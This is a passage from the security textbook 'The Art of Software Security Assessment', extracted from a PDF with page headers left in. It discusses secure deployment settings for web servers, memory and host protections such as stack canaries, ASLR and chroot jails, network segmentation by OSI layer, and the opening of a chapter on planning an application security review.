perspective of that environment. You should also ensure that the default configuration supports a deployment in this type of environment. If it doesn't, you need to make sure the documentation and installer address this problem clearly and specifically. 6.3.3 Web-Specific Considerations The World Wide Webmore specifically, HTTP and HTTPS serviceshas become one of the most ubiquitous platforms for application development. The proliferation of Web services and applications is almost single-handedly responsible for the increased awareness of network security and vulnerabilities. For this reason, Web security warrants certain special considerations. HTTP Request Methods A Web application can be tightly restricted in which requests and operations are allowed; however, in practice, this restriction often isn't applied. For example, the server might support a number of HTTP methods, but all the application requires is the HTTP GET, POST, and HEAD requests. When reviewing a deployed or embedded Web application, you should ensure that only the necessary request methods are allowed. In particular, question whether TRACE, OPTIONS, and CONNECT requests should be The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 86 allowed. If you are unfamiliar with these methods, you can find a lot more information in Chapter 17(? [????.]). Directory Indexing Many Web servers enable directory indexing by default. This setting has no effect in directories that provide an index file; however, it can expose valuable information to directories with no index. Often, these directories contain include and configuration files, or other important details on the application's structure, so directory indexing should be disabled by default. File Handlers When you try to run a file, it's obvious if the proper handler hasn't been installed. The server simply won't run the file, and instead it returns the source or binary directly. However, handler misconfiguration could happen in a number of less obvious situations. When machines are rebuilt or replaced, the correct handlers might not be installed before the application is deployed. Developers might also establish conventions for naming include files with different extensions. For example, Classic ASP and PHP: Hypertext Processor (PHP) include files are often named with an .inc extension, which is not interpreted by the default handlers in PHP or ASP. Because the include file isn't intended to be requested directly, developers and administrators might not realize it's vulnerable. Both situations can result in a source or binary file disclosure, which allows attackers to download the raw source or binary code and get detailed information on the application's internal structure. In addition, PHP and other scripting languages commonly use include files to provide database account credentials and other sensitive information, which can make source disclosure vulnerabilities particularly dangerous. This problem needs to be approached from three sides. First, developers need to choose a set of extensions to be used for all source and binary files. Second, the Web server should be configured with handlers for all appropriate file types and extensions. Finally, the only files in the Web tree should be those that must be retrieved by Web requests. Include files and supporting libraries should be placed outside the Web tree. This last step prevents attackers from requesting files directly that are only intended to be included. An important extension to the last step is applicable when Web applications deal with uploaded content from clients. Applications commonly allow clients to upload files, but doing so has potentially dangerous consequences, especially if the directory where files are uploaded is within the Web tree. In this case, clients might be able to request the file they just uploaded; if the file is associated with a handler, they can achieve arbitrary execution. As an example, consider a PHP application that stores The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 87 uploaded files in /var/www/webapp/tmpfiles/, which can be browsed via the HTTP URI /webapp/tmpfiles/. If the client uploads a file called evil.php and then requests /webapp/tmpfiles/evil.php in a browser, the Web server will likely recognize that the file is a PHP application and run code within the file's PHP tags. Authentication Web applications might not perform authentication internally; this process might be handled externally through the HTTP authentication protocol, an authenticating reverse proxy, or a single sign-on (SSO) system. With this type of authentication, it is especially important to make sure the external authentication mechanism is configured correctly and performs authentication in a safe manner. For example, a reverse-proxy device might add headers that include the current account name and user information. However, attackers could discover a request path that doesn't pass through the reverse proxy, which would allow them to set the account headers to whatever they want and impersonate any user on the system. Default Site Installations Some Web servers include a number of sample sites and applications as part of a default installation. The goal is to provide some reference for configuring the server and developing modules. In practice, however, these sample sites are a rather severe case of unnecessary services and insecure defaults. Numerous security problems have been caused by installing sample Web applications and features. For example, ColdFusion's Web-scripting technologies used to install several sample applications by default that allowed clients to upload files and run arbitrary code on the system. Note This ColdFusion bug ties in with some of the previous discussion on spoofing and identification. The sample applications were accessible only to clients who connected from the same machine where ColdFusion was installed. However, the way they verified whether the client was connecting locally was to check the HTTP HOST variable, which is completely controlled by the client. As a result, any client could claim to be connecting locally and access sample scripts with the dangerous functionality. This bug is documented at www.securityfocus.com/bid/3154/info. Overly Verbose Error Messages Most Web servers return fairly verbose error messages that assist in diagnosing any problems you encounter. Web application platforms also provide detailed exception information to assist developers in debugging code. These capabilities are essential The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 88 when developing a system, but they can be a serious operational vulnerability in a deployed system. The burden of end-user error reporting should rest primarily on application developers. The application level has the correct context to determine what information is appropriate to display to end users. Configuration of the base platform should always be performed under the assumption that the application is filtering and displaying any end-user error information. This way, the deployed system can be configured to report the minimum necessary information to client users and redirect any required details to the system log. Public-Facing Administrative Interfaces Web-based administration has become popular for Web applications and network devices. These administrative interfaces are often convenient, but they are rarely implemented with potentially malicious users in mind. They might use weak default passwords, not perform sufficient authentication, or have any number of other vulnerabilities. Therefore, they should be accessible only over restricted network segments when possible and never exposed to Internet-facing connections. 6.3.4 Protective Measures A range of additional protective measures can affect an application's overall security. In consultant speak, they are often referred to as mitigating factors or compensating controls; generally, they're used to apply the concept of defense in depth mentioned in Chapter 2(? [????.]). These measures can be applied during or after the development process, but they tend to exist outside the software itself. The following sections discuss the most common measures, but they don't form an exhaustive list. For convenience, these measures have been separated into groups, depending on whether they're applied during development, to the deployed host, or in the deployed network. One important consideration is that most of these measures include software, so they could introduce a new attack surface or even vulnerabilities that weren't in the original system. Development Measures Development protective measures focus on using platforms, libraries, compiler options, and hardware features that reduce the probability of code being exploited. These techniques generally don't affect the way code is written, although they often influence the selection of one platform over another. Therefore, these measures are viewed as operational, not implementation measures. Nonexecutable Stack The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 89 The classic stack buffer overflow is quite possibly the most often-used software vulnerability in history, so hardware vendors are finally trying to prevent them at the lowest possible level by enforcing the nonexecutable protection on memory pages. This technique is nothing new, but it's finally becoming common in inexpensive commodity hardware, such as consumer PCs. A nonexecutable stack can make it harder to exploit a memory management vulnerability, but it doesn't necessarily eliminate it because the exploit might not require running code from the stack. It might simply involve patching a stack variable or the code execution taking advantage of a return to libc style attack. These vulnerabilities are covered in more detail in Chapter 5(? [????.]), "Memory Corruption," but for now, it's important to understand where the general weaknesses are. Stack Protection The goal of the classic stack overflow is to overwrite the instruction pointer. Stack protection prevents this exploit by placing a random value, called a "canary," between stack variables and the instruction pointer. When a function returns, the canary is checked to ensure that it hasn't changed. In this way, the application can determine whether a stack overflow has occurred and throw an exception instead of running potentially malicious code. Like a nonexecutable stack, stack protection has its share of weaknesses. It also doesn't protect against stack variable patching (although some implementations reorder variables to prevent the likelihood of this problem). Stack protection mechanisms might also have issues with code that performs certain types of dynamic stack manipulation. For instance, LibSafePlus can't protect code that uses the alloca() call to resize the stack; this problem can also be an undocumented issue in other implementations. Worse yet, some stack protections are vulnerable to attacks that target their implementation mechanisms directly. For example, an early implementation of Microsoft's stack protection could be circumvented by writing past the canary and onto the current exception handler. No form of stack protection is perfect, and every implementation has types of overflows that can't be detected or prevented. You have to look at your choices and determine the advantages and disadvantages. Another consideration is that it's not uncommon for a development team to enable stack protection and have the application stop functioning properly. This problem happens because of stack overflows occurring somewhere in the application, which may or may not be exploitable. Unfortunately, developers might have so much trouble tracking down the bugs that they choose to disable the protection entirely. You might need to take this possibility into account when recommending stack protection as an easy fix. Heap Protection The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 90 Most program heaps consist of a doubly linked list of memory chunks. A generic heap exploit attempts to overwrite the list pointers so that arbitrary data can be written somewhere in the memory space. The simplest form of heap protection involves checking that list pointers reference valid heap chunks before performing any list management. Simple heap protection is fairly easy to implement and incurs little performance overhead, so it has become common in the past few years. In particular, Microsoft's recent OS versions include a number of heap consistency-checking mechanisms to help minimize the damage heap overwrites can do. The GNU libc also has some capabilities to protect against common exploitation techniques; the memory management routines check linked list values and validate the size of chunks to a certain degree. Although these mechanisms are a step in the right direction, heap overflows can still be exploited by manipulating application data rather than heap structures. Address Space Layout Randomization When an application is launched in most contemporary operating systems, the loader organizes the program and required libraries into memory at the same locations every time. Customarily, the program stack and heap are put in identical locations for each program that runs. This practice is useful for attackers exploiting a memory corruption vulnerability; they can predict with a high degree of accuracy the location of key data structures and program components they want to manipulate or misuse. Address space layout randomization (ASLR) technologies seek to remove this advantage from attackers by randomizing where different program components are loaded at in memory each time the application runs. A data structure residing at address 0x12345678 during one program launch might reside at address 0xABCD5678 the next time the program is started. Therefore, attackers can no longer use hard-coded addresses to reliably exploit a memory corruption flaw by targeting specific structures in memory. ASLR is especially effective when used with other memory protection schemes; the combination of multiple measures can turn a bug that could previously be exploited easily into a very difficult target. However, ASLR is limited by a range of valid addresses, so it is possible for an attacker to perform a repeated sequence of exploit attempts and eventually succeed. Registered Function Pointers Applications might have long-lived functions pointers at consistent locations in a process's address space. Sometimes these pointers are defined at compile time and never change for a given binary; exception handlers are one of the most common examples. These properties make long-lived function pointers an ideal target for exploiting certain classes of vulnerabilities. Many types of vulnerabilities are similar, in that they allow only a small value to be written to one arbitrary location, such as attacks against heap management functions. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 91 Function pointer registration is one attempt at preventing the successful exploit of these types of vulnerabilities. It's implemented by wrapping function pointer calls in some form of check for unauthorized modification. The exact details of the check might vary in strength and how they're performed. For example, the compiler can place valid exception handlers in a read-only memory page, and the wrapper can just make a direct comparison against this page to determine whether the pointer is corrupt. Virtual Machines A virtual machine (VM) platform can do quite a bit to improve an application's basic security. Java and the .NET Common Language Runtime (CLR) are two popular VM environments, but the technology is even more pervasive. Most popular scripting languages (such as Perl, Python, and PHP) compile first to bytecode that's then interpreted by a virtual machine. Virtual machine environments are typically the best choice for most common programming tasks. They generally provide features such as sized buffers and strings, which prevent most memory management attacks. They might also include additional protection schemes, such as the code access security (CAS) mentioned in Chapter 1(? [????.]). These approaches usually allow developers to create more secure applications more quickly. The downside of virtual machines is that their implicit protection stops at low-level vulnerabilities. VM environments usually have no additional protections against exploiting vulnerabilities such as race conditions, formatted data manipulation, and script injection. They might also provide paths to low-level vulnerabilities in the underlying platform or have their own vulnerabilities. Host-Based Measures Host-based protections include OS features or supporting applications that can improve the security of a piece of software. They can be deployed with the application or be additional measures set up by end users or administrators. These additional protective measures can be useful in preventing, identifying, and mitigating successful exploits, but remember that these applications are pieces of software. They might contain vulnerabilities in their implementations and introduce new attack surface to a system. Object and File System Permissions Permission management is the first and most obvious place to try reducing the attack surface. Sometimes it's done programmatically, such as permissions on a shared memory object or process synchronization primitive. From an operational perspective, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 92 however, you're concerned with permissions modified during and after application installation. As discussed earlier in this chapter, permission assignment can be complicated. Platform defaults might not provide adequate security, or the developer might not be aware of how a decision could affect application security. Typically, you need to perform at least a cursory review of all files and objects included in a software installation. Restricted Accounts Restricted accounts are commonly used for running an application with a public-facing service. The intent of using this type of account is not to prevent a compromise but to reduce the impact of the compromise. Therefore, these accounts have limited access to the system and can be monitored more closely. On Windows systems, a restricted account usually isn't granted network access to the system, doesn't belong to default user groups, and might be used with restricted tokens. Sudhakar Govindavajhala and Andrew W. Appel of Princeton University published an interesting paper, "Windows Access Control Demystified," in which they list a number of considerations and escalation scenarios for different group privileges and service accounts. This paper is available at http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf. Restricted accounts generally don't have a default shell on UNIX systems, so attackers can't log in with that account, even if they successfully set a password through some application flaw. Furthermore, they usually have few to no privileges on the system, so if they are able to get an interactive shell somehow, they can't perform operations with much consequence. Having said that, attackers simply having access to the system is often dangerous because they can use the system to "springboard" to other previously inaccessible hosts or perform localized attacks on the compromised system to elevate privileges. Restricted accounts are useful, but they can be deployed carelessly. You need to ensure that restricted accounts contain no unnecessary rights or privileges. It's also good to follow the rule of one account to one service because of the implicit shared trust between all processes running under the same account, as discussed in Chapter 2(? [????.]). Chroot Jails UNIX operating systems use the chroot command to change the root directory of a newly executed process. This command is normally used during system startup or when building software. However, chroot also has a useful security application: A The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 93 nonroot process can be effectively jailed to a selected portion of the file system by running it with the chroot command. This approach is particularly effective because of UNIX's use of the file system as the primary interface for all system activity. An attacker who exploits a jailed process is still restricted to the contents of the jailed file system, which prevents access to most of the critical system assets. A chroot jail can improve security quite a bit; however, there are caveats. Any process running under root privileges can usually escape the jail environment by using other system mechanisms, such as the PTRACE debugging API, setting system variables with sysctl, or exploiting some other means to allow the system to run a new arbitrary process that's not constrained to the chroot jail. As a result, chroot jails are more effective when used with a restricted account. In addition, a chroot jail doesn't restrict network access beyond normal account permissions, which could still allow enough attack surface for a follow-on attack targeted at daemons listening on the localhost address. System Virtualization Security professionals have spent the past several years convincing businesses to run one public-facing service per server. This advice is logical when you consider the implicit shared trusts between any processes running on the same system. However, increases in processing power and growing numbers of services have made this practice seem unnecessarily wasteful. Fortunately, virtualization comes to the rescue. Virtualization allows multiple operating systems to share a single host computer. When done correctly, each host is isolated from one another and can't affect the integrity of other hosts except through standard network interfaces. In this way, a single host can provide a high level of segmentation but still make efficient use of resources. Virtualization is nothing new; it's been around for decades in the mainframe arena. However, most inexpensive microcomputers haven't supported the features required for true hardware virtualizationthese features are known as the Popek and Goldberg virtualization requirements. True hardware virtualization involves capabilities that hardware must provide to virtualize access without requiring software emulation. Software virtualization works, of course, but only recently has commodity hardware become powerful enough to support large-scale virtualization. Virtualization will continue to grow, however. New commodity processors from vendors such as Intel and AMD now have full hardware virtualization support, and software virtualization has become more commonplace. You can now see a handful of special cases where purpose-built operating systems and software are distributed as virtual machine disk images. These concepts have been developing for more than a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 94 decade through research in exokernels and para-virtualization, with commercial products only now becoming available. For auditors, virtualization has advantages and disadvantages. It could allow an application to be distributed in a strictly configured environment, or it might force a poorly configured black box on users. The best approach is to treat a virtualized system as you would any other system and pay special attention to anywhere the virtual segmentation is violated. As virtualization grows more popular, however, it will almost certainly introduce new and unique security concerns. Enhanced Kernel Protections All operating systems must provide some mechanism for user land applications to communicate with the kernel. This interface is typically referred to as the system call gateway, and it should be the only interface for manipulating base system objects. The system call gateway is a useful trust boundary, as it provides a chokepoint into kernel operations. A kernel module can then intercept requested operations (or subsequent calls) to provide a level of access control that is significantly more granular than normal object permissions. For example, you might have a daemon that you need to run as root, but this daemon shouldn't be able to access arbitrary files or load kernel modules. These restrictions can be enforced only by additional measures taken inside the kernel. An additional set of permissions can be mapped to the executable and user associated with the process. In this case, the kernel module would refuse the call if the executable and user match the restricted daemon. This approach is an example of a simple type of enhanced kernel protection; however, a number of robust implementations are available for different operating systems. SELinux is a popular module for Linux and BSD systems, and Core Force (from Core Security) is a freely available option for Windows 2000 and XP systems. There's no question that this approach offers fine-grained control over exactly what a certain process is allowed to do. It can effectively stop a compromise by restricting the rights of even the most privileged accounts. However, it's a fairly new approach to security, so implementations vary widely in their capabilities and operation. This approach can also be difficult to configure correctly, as most applications aren't designed with the expectation of operating under such tight restrictions. Host-Based Firewalls Host-based firewalls have become extremely popular in recent years. They often allow fine-grained control of network traffic, including per-process and per-user configuration. This additional layer of protection can help compensate for any overlooked network attack surface. These firewalls can also mitigate an attack's effect by restricting the network access of a partially compromised system. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 95 For the most part, you can view host-based firewalls in the same manner as standard network firewalls. Given their limited purpose, they should be much less complicated than a standard firewall, although per-process and per-user rules can increase their complexity somewhat. Antimalware Applications Antimalware applications include antivirus and antispyware software. They are usually signature-based systems that attempt to identify behaviors and attributes associated with malicious software. They might even incorporate a degree of enhanced kernel protection, host-based firewalling, and change monitoring. For the most part, however, these applications are useful at identifying known malware applications. Typically, they have less value in handling more specialized attacks or unknown malware. Antimalware applications generally have little effect when auditing software systems. The primary consideration is that a deployed system should have the appropriate software installed and configured correctly. File and Object Change Monitoring Some security applications have methods of monitoring for changes in system objects, such as configuration files, system binaries, and sensitive Registry keys. This monitoring can be an effective way to identify a compromise, as some sensitive portion of the system is often altered as a result of an exploit. More robust monitoring systems actually maintain digests (or hashes) of sensitive files and system objects. They can then be used to assist in forensic data analysis in the event of a serious compromise. Change monitoring is a fairly reactive process by nature, so generally it isn't useful in preventing compromises. It can, however, prove invaluable in identifying, determining the extent of, and mitigating a successful compromise. The most important consideration for auditors is that most change-monitoring systems are configured by default to monitor only base system objects. Adding monitoring for application-specific components usually requires changes to the default configuration. Host-Based IDSs/IPSs Host-based intrusion detection systems (IDSs) and intrusion prevention systems (IPSs) tend to fall somewhere between host-based firewalls and antimalware applications. They might include features of both or even enhanced kernel protections and file change monitoring. The details vary widely from product to product, but typically these systems can be viewed as some combination of the host-based measures presented up to this point. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 96 Network-Based Measures An entire book could be devoted to the subject of secure network architecture. After all, security is only one small piece of the puzzle. A good network layout must account for a number of concerns in addition to security, such as cost, usability, and performance. Fortunately, a lot of reference material is available on the topic, so this discussion has been limited to a few basic concepts in the following sections. If you're not familiar with network fundamentals, you should start with a little research on TCP/IP and the Open Systems Interconnection (OSI) model and network architecture. Segmentation Any discussion of network security needs to start with segmentation. Network segmentation describes how communication over a network is divided into groupings at different layers. TCP/IP networks are generally segmented for only two reasons: security and performance. For the purposes of this discussion, you're most concerned with the security impact of network segmentation. You can view network segmentation as a method of enforcing trust boundaries. This enforcement is why security is an important concern when developing a network architecture. You should also consider what OSI layer is used to enforce a security boundary. Generally, beginning with the lowest layer possible is best. Each higher layer should then reinforce the boundary, as appropriate. However, you always encounter practical constraints on how much network security can be provided and limitations on what can be enforced at each layer. Layer 1: Physical The security of the physical layer is deceptively simple. Segmentation of this layer is literally physical separation of the transmission medium, so security of the physical layer is simply keeping the medium out of attackers' hands. In the past, that meant keeping doors locked, running cables through conduit, and not lighting up unconnected ports. If any transmission media were outside your immediate control, you just added encryption or protected at higher layers. Unfortunately, the rapid growth of wireless networking has forced many people to reevaluate the notion of physical layer security. When you deploy a wireless network, you expose the attack surface to potentially anyone in transmission range. With the right antenna and receiver, an attacker could be a mile or more away. When you consider this possibility with the questionable protection of the original Wired Equivalent Privacy (WEP) standard, it should be apparent that physical layer security can get more complicated. Layer 2: Data Link The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 97 Segmentation at the data link layer is concerned with preventing spoofing (impersonating) hosts and sniffing traffic (capturing data transmitted by other hosts). Systems at this layer are identified via Media Address Control (MAC) addresses, and the Address Resolution Protocol (ARP) is used to identify MAC addresses associated with connected hosts. Switching is then used to route traffic to only the appropriate host. Network switches, however, run the gamut in terms of features and quality. They might be vulnerable to a variety of ARP spoofing attacks that allow attackers to impersonate another system or sniff traffic destined for other systems. Address filtering can be used to improve security at this layer, but it should never be relied on as the sole measure. Wireless media creates potential concerns at this layer, too, because they add encryption and authentication to compensate for their inability to segment the physical layer adequately. When choosing a wireless protection protocol, you have a few options to consider. Although proprietary standards exist, open standards are more popular, so this section focuses on them. WEP was the original standard for wireless authentication and encryption; however, its design proved vulnerable to cryptanalytic attacks that were further aggravated by weaknesses in a number of implementations. Wi-Fi Protected Access (WPA) is a more robust standard that provides more secure key handling with the same base encryption capabilities as WEP (which allows it to operate on existing hardware). However, WPA was intended as only an interim measure and has been superseded by WPA2, which retains the essential key-handling improvements of WPA and adds stronger encryption and digest capabilities. Layer 3: Network Security and segmentation at the network layer are typically handled via IP filtering and, in some cases, the IP Security (IPsec) protocol. Any meaningful discussion of IPsec is beyond the scope of this book, but it's important to note exactly what it is. IPsec is a component of the IPv6 specification that has been back-ported to the current IPv4. It provides automatic encryption and authentication for TCP/IP connections at the network layer. Although IPsec does have some appealing security capabilities, its adoption has been slow, and different technologies have been developed to address many of the areas it was intended for. However, adoption is continuing to grow, and a properly deployed IPsec environment is extremely effective at preventing a range of network attacks, including most sniffing and spoofing attacks. IP filtering is a fairly simple method of allowing or denying packets based only on the protocol, addresses, and ports. This method allows traffic to be segmented according to its function, not just the source and destination. This type of filtering is easy to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 98 implement, provides fast throughput, and has fairly low overhead. At this point, IP filtering is practically a default capability expected in almost any network-enabled system, such as a router or an OS. The disadvantage of IP filtering is that it maintains no connection state. It can't discriminate based on which side is establishing the connection or whether the communication is associated with an active connection. Therefore, a simple IP filter must allow inbound traffic to any port where it allows outbound traffic. Layer 4: Transport The transport layer is what most people think of when they discuss network security architecture. This layer is low enough to be common to all TCP/IP applications but high enough that you can determine connection state. The addition of state allows a firewall to determine which side is initiating the connection and establishes the fundamental concept of an internal and external network. Firewalls, which are devices that filter traffic at the network and transport layers, are the primary method of segmenting a network for security purposes. The simplest firewall has only two interfaces: inside and outside. The simplest method of firewalling is to deny all inbound traffic and allow all outbound traffic. Most host-based firewalls and personal firewalls are configured this way by default. Firewalls get interesting, however, when you use them to divide a network according to functional requirements. For example, say you know that employees on your network need only outbound Web access. You can allow only TCP ports 80 and 443 outbound and deny all the rest. The company Web site is hosted locally, so you need to add TCP port 80 inbound to the Web server. (Note: A number of other likely services, most notably DNS, have been ignored to keep this example simple.) However, you don't like the idea of having an opening straight into the internal network via TCP port 80. The solution is to deploy the Web server inside a demilitarized zone (DMZ). A DMZ uses a third interface from the firewall containing its own set of rules. First, assume that the DMZ is configured to deny any connections by default, which lets you start with a clean slate. Next, you need to move the Web server into the DMZ, remove the deny inbound rule for port 80, and replace it with a rule that allows inbound traffic from the external network to the Web server in the DMZ on TCP port 80. Figure 3-1 shows an example of this network. Figure 3-1. Simple DMZ example [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 99 This example, although simple, conveys the basics of transport-layer segmentation. What's important to understand is that the network should be segmented by function as much as reasonably possible. Continuing the example, what if the Web server is backed by a database on a separate system? The database might contain particularly sensitive customer information that shouldn't be located inside the DMZ. However, migrating the database to the internal network requires opening connectivity from the DMZ into the internal network, which might not be an acceptable risk, either. In this case, adding a second DMZ containing a data tier for the Web front end might be necessary. When reviewing an in-place application, you need to take these environmental considerations into account. There will always be legitimate reasons to prevent a deployment from having the ideal segmentation. However, you should aware of these contributing factors and determine whether the environment is adequately segmented for the application's security requirements. Layers 5 and 6: Session and Presentation Some layers of the OSI model don't map cleanly to TCP/IP; for example, the session and presentation layer generally get pushed up into the TCP/IP application layer. However, collectively these layers provide a useful distinction for certain application protocols. Platform-specific features, such as RPC interfaces and named pipes, are generally accepted as session- and presentation-layer protocols. Security on these interfaces is typically handled programmatically and should be addressed via the platform's native access control mechanisms. Secure Socket Layer/Transport Layer Security (SSL/TLS) is another protocol that's more appropriately discussed in terms of the session or presentation layer. The "Secure Channels(? [????.])" section earlier in this chapter discussed how SSL can be used to create a secure encrypted channel. SSL/TLS also supports certificate-based authentication, which can reduce an application's attack surface by enforcing authentication below the application layer. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 100 Layer 7: Application Application-layer security is an interesting mix, and most of this book is devoted to it. However, application-layer proxies fall squarely into the category of operational protective measures. If you've spent any time in network security, you've probably heard numerous discussions of the value of heterogeneous (or mixed) networks. On the positive side, a heterogeneous environment is much less prone to silver bullet attacks, in which an attacker can compromise the bulk of a network by taking advantage of a single vulnerability. However, a homogeneous environment is usually easier and less expensive to manage. Application-layer gateways are interesting because they add extra network diversity in just the right location. Some of the first popular application gateways were simply validating HTTP reverse proxies. They sat in front of vulnerability-prone Web servers and denied malformed Web traffic, which provided moderate protection against Web server attacks. Newer Web application gateways have added a range of capabilities, including sitewide authentication, exploit detection, and fine-grained rule sets. Overall, application gateways are no substitute for properly coded applications. They have significant limitations, and configuring rules for the most effective protection requires more effort than assessing and fixing a potentially vulnerable application. However, these gateways can increase a network's diversity, provide an extra layer of assurance, and add a layer of protection over a questionable third-party application. Network Address Translation (NAT) Network Address Translation (NAT) provides a method of mapping a set of internal addresses against a different set of external addresses. It was originally developed to make more efficient use of the IPv4 address space by mapping a larger number of private, internal network addresses to a much smaller number of external addresses. NAT wasn't intended to provide security, but it does have some implicit security benefits. A NAT device must be configured with explicit rules to forward inbound connections; this configuration causes inbound connectivity to be implicitly denied. NAT also conceals the internal address space from the external network, ensuring some extra security against internal network mapping. NAT can offer additional protection, but generally, this isn't its intended purpose. Depending on the implementation, NAT devices might allow attacks that establish internal connections, spoof internal addresses, or leak addresses on the private network. Therefore, NAT shouldn't be relied on alone; it should be viewed as a supplementary measure. Virtual Private Networks (VPNs) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 101 A virtual private network (VPN) provides a virtual network interface connected to a remote network over an encrypted tunnel. This approach has become popular and is quickly replacing dial-in business connections and leased lines. The advantage of a VPN is that it presents an interface that's almost identical to that of a directly connected user, which makes it convenient for end users and network administrators. The main disadvantage of a VPN is that typically, the client system is outside of the network administrators' physical control, which creates the potential for a much larger attack surface than a normal internal system does. VPN segments need to be monitored more closely, and administrators must enforce additional client precautions. These precautions usually include denying VPN clients access to their local network (split tunneling) while connected and restricting access to certain internal resources over the VPN. Network IDSs/IPSs Network IDSs and IPSs are devices that attempt to identify malicious network traffic and potentially terminate or deny connectivity based on detected hostile activity. The first systems were primarily signature-based engines that looked for specific traffic associated with known attacks. Newer systems attempt to identify and alert administrators to anomalous traffic patterns in addition to known hostile patterns. There's quite a bit of literature and debate on the proper approach to IDS and IPS deployment and configuration. The details are specific to the network environment. However, the best generally accepted practices require segmenting the network first to isolate different functional areas and points of highest risk. IDS sensors are then deployed to take advantage of segmentation in identifying potential attacks or compromises. 6.3.5 Summary Application security extends beyond the code to encompass the operational environment and mode in which applications function. In this chapter, you have looked at external system details that affect how secure an application is in a deployment environment. When conducting audits on an application, you need to consider the target deployment environment (if one is available) and the application's default configuration parameters. Unsafe or unnecessary exposure of the application can lead to vulnerabilities that are entirely independent of the program code. 6.4 Chapter 4. Application Review Process Chapter 4. Application Review Process The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 102 "Ah, my ridiculously circuitous plan is one quarter complete!" Robot Devil, Futurama 6.4.1 Introduction You no doubt purchased this book with the expectation of delving into the technical details of application security vulnerabilities, but first you need to understand the process of application review and its logistical and administrative details. After all, technical prowess doesn't matter if a review is structured so poorly that it neglects the important application attack surface and vulnerable code paths. Having some degree of structured process in planning and carrying out an application assessment is essential. Of course, your review may have some unique requirements, but this chapter gives you a framework and tools you can adapt to your own process. By incorporating these elements, you should be able to get the best results for the time you invest in any application review. 6.4.2 Overview of the Application Review Process Conducting an application security review can be a daunting task; you're presented with a piece of software you aren't familiar with and are expected to quickly reach a zenlike communion with it to extract its deepest secrets. You must strike a balance in your approach so that you uncover design, logic, operational, and implementation flaws, all of which can be difficult to find. Of course, you will rarely have enough time to review every line of an application. So you need understand how to focus your efforts and maintain good coverage of the most security-relevant code. Rationale To be successful, any process you adopt must be pragmatic, flexible, and results driven. A rigid methodology that provides a reproducible detailed step-by-step procedure is definitely appealing, especially for people trying to manage code reviews or train qualified professionals. For a number of reasons, however, such a rigid approach isn't realistic. It's borne out of a fundamental misunderstanding of code review because it overlooks two simple truths. The first is that code review is a fundamentally creative process. It might seem as though this point couldn't possibly be true because reading other people's code doesn't seem particularly creative. However, to find vulnerabilities in applications, you must put yourself in the developer's shoes. You also need to see the unexpressed possibilities in the code and constantly brainstorm for ways that unexpected things might happen. The second truth is that code review is a skill. Many people assume that code review is strictly a knowledge problem. From this perspective, the key to effective code The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 103 review is compiling the best possible list of all things that could go wrong. This list is certainly an important aspect of code review, but you must also appreciate the considerable skill component. Your brain has to be able to read code in a way that you can infer the developer's intentions yet hypothesize ways to create situations the developer didn't anticipate. Furthermore, you have to be proficient and flexible with programming languages so that you can feel at home quickly in someone else's application. This kind of aptitude takes years to develop fully, much like learning a foreign language or playing a musical instrument. There's considerable overlap with related skills, such as programming, and other forms of systems security analysis, but this aptitude has unique elements as well. So it's simply unrealistic to expect even a seasoned developer to jump in and be a capable auditor. Accepting these truths, having a process is still quite valuable, as it makes you more effective. There's a lot to be done in a typical security review, and it's easy to overlook tasks when you're under a time crunch. A process gives your review structure, which helps you prioritize your work and maintain a consistent level of thoroughness in your analysis. It also makes your assessments approachable from a business perspective, which is critical when you need to integrate your work with timelines and consulting or development teams. Process Outline The review process described in this chapter is open ended, and you can adapt it as needed for your own requirements. This discussion should arm you with the tools and knowledge you need to do a formal review, but it's left flexible enough to handle real-world application assessments. This application review process is divided into four basic phases: 1. Preassessment This phase includes planning and scoping an application review, as well as collecting initial information and documentation. 2. Application review This phase is the primary phase of the assessment. It can include an initial design review of some form, and then proceed to a review of the application code, augmented with live testing, if appropriate. The review isn't rigidly structured into distinct design, logic, implementation, and operational review phases. Instead, these phases are simultaneous objectives reached by using several strategies. The reason for this approach is simply that the assessment team learns a great deal about the application over the course of the assessment. 3. Documentation and analysis This phase involves collecting and documenting the results of the review as well as helping others evaluate the meaning of the results by conducting risk analysis and suggesting remediation methods and their estimated costs. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 104 4. Remediation support This phase is a follow-up activity to assist those who have to act based on your findings. It includes working with developers and evaluating their fixes or possibly assisting in reporting any findings to a third party. This process is intended to apply to reviews that occur with some form of schedule, perhaps as part of a consulting engagement, or reviews of an in-house application by developers or security architects. However, it should be easy to apply to more free-form projects, such as an open-ended, ongoing review of an in-house application or self-directed vulnerability research. 6.4.3 Preassessment Before you perform the actual review, you need to help scope and plan the assessment. This process involves gathering key pieces of information that assist you in later phases of your review. By gathering as much information as you can before starting the assessment, you can construct a better plan of attack and achieve more thorough coverage. Scoping When tasked with an application security review, first you need to ask what your goal is. This question might seem simple, but numerous answers are possible. Generally, a vulnerability researcher's goal is to find the most significant vulnerability in the shortest time. In contrast, an application security consultant is usually concerned with getting the best application coverage the project's budget allows. Finally, a developer or security architect might have a more generous schedule when conducting internal reviews and use that time to be as thorough as possible. The goal of a review might also be heavily colored by business concerns or less tangible factors, such as company image. A company certainly isn't inclined to devote extensive time to a product that's close to or even past its end of life (EOL). However, a review might be required to meet regulatory concerns. That same company might also want a thorough review of its newest flagship financial management application. When businesses commit to more thorough reviews, often you find that their interests aren't what you expect. A business is sometimes more concerned with easy-to-detect issues, regardless of their severity. Their goal is more to avoid the negative stigma of a published security issue than to address the ultimate technical security of their product or service. So you aren't meeting your client's (or employer's) 